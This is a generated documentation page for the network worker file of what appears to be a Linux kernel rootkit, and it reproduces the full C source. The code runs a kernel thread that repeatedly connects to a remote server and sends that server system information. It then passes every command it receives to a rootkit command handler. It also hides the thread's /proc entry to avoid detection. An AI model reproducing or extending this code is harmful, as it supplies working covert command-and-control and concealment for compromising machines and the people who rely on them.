worker.c File Reference

#include "hide_api.h"
#include "network.h"
#include "sysinfo.h"
#include "upload.h"

Include dependency graph for tcp/worker.c:

Go to the source code of this file.

Functions
bool	is_user_auth (void)
int	set_user_auth (bool auth)
static bool	send_initial_message_with_retries (void)
static bool	receive_loop (char *recv_buffer)
static int	network_worker (void *data)
int	start_network_worker (void)
int	stop_network_worker (void)

Variables
static bool	is_auth = false
static struct task_struct *	network_worker_thread = NULL

Function Documentation

is_user_auth()

bool is_user_auth

(

void

)

is_user_auth - Check if the user is authenticated. Return: true if the user is authenticated, false otherwise.

Definition at line 13 of file tcp/worker.c.

                        {
    return is_auth;
}

network_worker()

static int network_worker ( void *  data )

static

network_worker - The main function for the network worker thread.

Parameters

data	Unused parameter required by kthread API. Return: 0 on success, negative error code on failure.

Definition at line 106 of file tcp/worker.c.

                                      {
    char *recv_buffer = NULL;
    struct sockaddr_in addr = { 0 };
    unsigned char ip_binary[4] = { 0 };
 
    if (!in4_pton(ip, -1, ip_binary, -1, NULL)) {
        ERR_MSG("network_worker: invalid IPv4 address\n");
        return -FAILURE;
    }
 
    addr.sin_family = AF_INET;
    addr.sin_port = htons(port);
    memcpy(&addr.sin_addr.s_addr, ip_binary, sizeof(addr.sin_addr.s_addr));
 
    while (!kthread_should_stop()) {
        close_worker_socket();
 
        if (connect_worker_socket_to_server(&addr) != SUCCESS) {
            msleep(TIMEOUT_BEFORE_RETRY);
            continue;
        }
 
        if (!send_initial_message_with_retries()) {
            msleep(TIMEOUT_BEFORE_RETRY);
            continue;
        }
 
        recv_buffer = kmalloc(RCV_CMD_BUFFER_SIZE + 1, GFP_KERNEL);
        if (!recv_buffer) {
            ERR_MSG("network_worker: failed to allocate recv_buffer\n");
            break;
        }
 
        if (!receive_loop(recv_buffer)) {
            kfree(recv_buffer);
            recv_buffer = NULL;
            set_user_auth(false);
            msleep(TIMEOUT_BEFORE_RETRY);
            continue;
        }
 
        break;
    }
 
    if (recv_buffer)
        kfree(recv_buffer);
 
    close_worker_socket();
 
    return SUCCESS;
}

receive_loop()

static bool receive_loop ( char *  recv_buffer )

static

receive_loop - Continuously receive messages from the server.

Parameters

recv_buffer

Buffer to store received messages. This function listens for incoming messages, processes them, and handles retries in case of failures or empty messages. It stops when the thread is signaled to stop. Return: true on success, false on failure after retries.

Definition at line 59 of file tcp/worker.c.

                                            {
    unsigned failure_count = 0, empty_count = 0;
 
    while (!kthread_should_stop()) {
        // Clear the buffer before receiving
        memset(recv_buffer, 0, RCV_CMD_BUFFER_SIZE);
 
        int len = receive_from_server(recv_buffer, RCV_CMD_BUFFER_SIZE);
        if (receiving_file) {
            failure_count = 0;
            msleep(TIMEOUT_BEFORE_RETRY);
            continue;
        }
 
        if (len <= 0) {
            if (++failure_count > MAX_MSG_SEND_OR_RECEIVE_ERROR)
                return false;
            msleep(TIMEOUT_BEFORE_RETRY);
            continue;
        }
 
        if (recv_buffer[0] == '\0') {
            if (++empty_count > MAX_MSG_SEND_OR_RECEIVE_ERROR)
                return false;
            continue;
        }
 
        if (len < RCV_CMD_BUFFER_SIZE)
            recv_buffer[len] = '\0';
        else
            recv_buffer[RCV_CMD_BUFFER_SIZE - 1] = '\0';
        failure_count = empty_count = 0;
 
        DBG_MSG("network_worker: received message: %s\n", recv_buffer);
        if (strcmp(recv_buffer, "\n") != 0) {
            rootkit_command(recv_buffer, len + 1, TCP);
        }
    }
 
    return true;
}

send_initial_message_with_retries()

static bool send_initial_message_with_retries ( void  )

static

send_initial_message_with_retries - Send the initial message to the server with retries. This function retrieves system information and sends it to the server. If the send fails, it retries up to MAX_MSG_SEND_OR_RECEIVE_ERROR times. Return: true on success, false on failure after retries.

Definition at line 33 of file tcp/worker.c.

                                                    {
    char *sysinfo = get_sysinfo();
 
    if (!sysinfo) {
        ERR_MSG("send_initial_message_with_retries: failed to get system info\n");
        return false;
    }
 
    for (int attempts = 0; attempts < MAX_MSG_SEND_OR_RECEIVE_ERROR; attempts++) {
        if (send_to_server(TCP, sysinfo) == SUCCESS) {
            kfree(sysinfo);
            return true;
        }
        msleep(TIMEOUT_BEFORE_RETRY);
    }
    kfree(sysinfo);
    return false;
}

set_user_auth()

int set_user_auth

(

bool

auth

)

set_user_auth - Set the user authentication status.

Parameters

auth	true to authenticate the user, false to unauthenticate. Return: 0 on success, or an error code on failure.

Definition at line 22 of file tcp/worker.c.

                             {
    is_auth = auth;
    return is_auth;
}

start_network_worker()

int start_network_worker

(

void

)

start_network_worker - Start the network worker thread.

Definition at line 161 of file tcp/worker.c.

                               {
    if (network_worker_thread && !IS_ERR(network_worker_thread)) {
        ERR_MSG("start_network_worker: thread already running\n");
        return -EBUSY;
    }
 
    network_worker_thread =
        kthread_run(network_worker, NULL, NETWORK_WORKER_THREAD_NAME);
    if (IS_ERR(network_worker_thread)) {
        ERR_MSG("start_network_worker: failed to start thread\n");
        return PTR_ERR(network_worker_thread);
    }
 
    // Hide the thread from the user
    char path[32] = { 0 };
    snprintf(path, sizeof(path), "/proc/%d", network_worker_thread->pid);
    hide_file(path);
 
    return SUCCESS;
}

stop_network_worker()

int stop_network_worker

(

void

)

stop_network_worker - Stop the network worker thread.

Definition at line 185 of file tcp/worker.c.

                              {
    if (!network_worker_thread || IS_ERR(network_worker_thread)) {
        return -EINVAL;
    }
 
    // Remove the hidden directory associated with the thread
    char path[32] = { 0 };
    snprintf(path, sizeof(path), "/proc/%d", network_worker_thread->pid);
    unhide_file(path);
 
    // Stop the network worker thread
    kthread_stop(network_worker_thread);
    network_worker_thread = NULL;
 
    return SUCCESS;
}

Variable Documentation

is_auth

bool is_auth = false

static

Definition at line 6 of file tcp/worker.c.

network_worker_thread

struct task_struct* network_worker_thread = NULL

static

Definition at line 7 of file tcp/worker.c.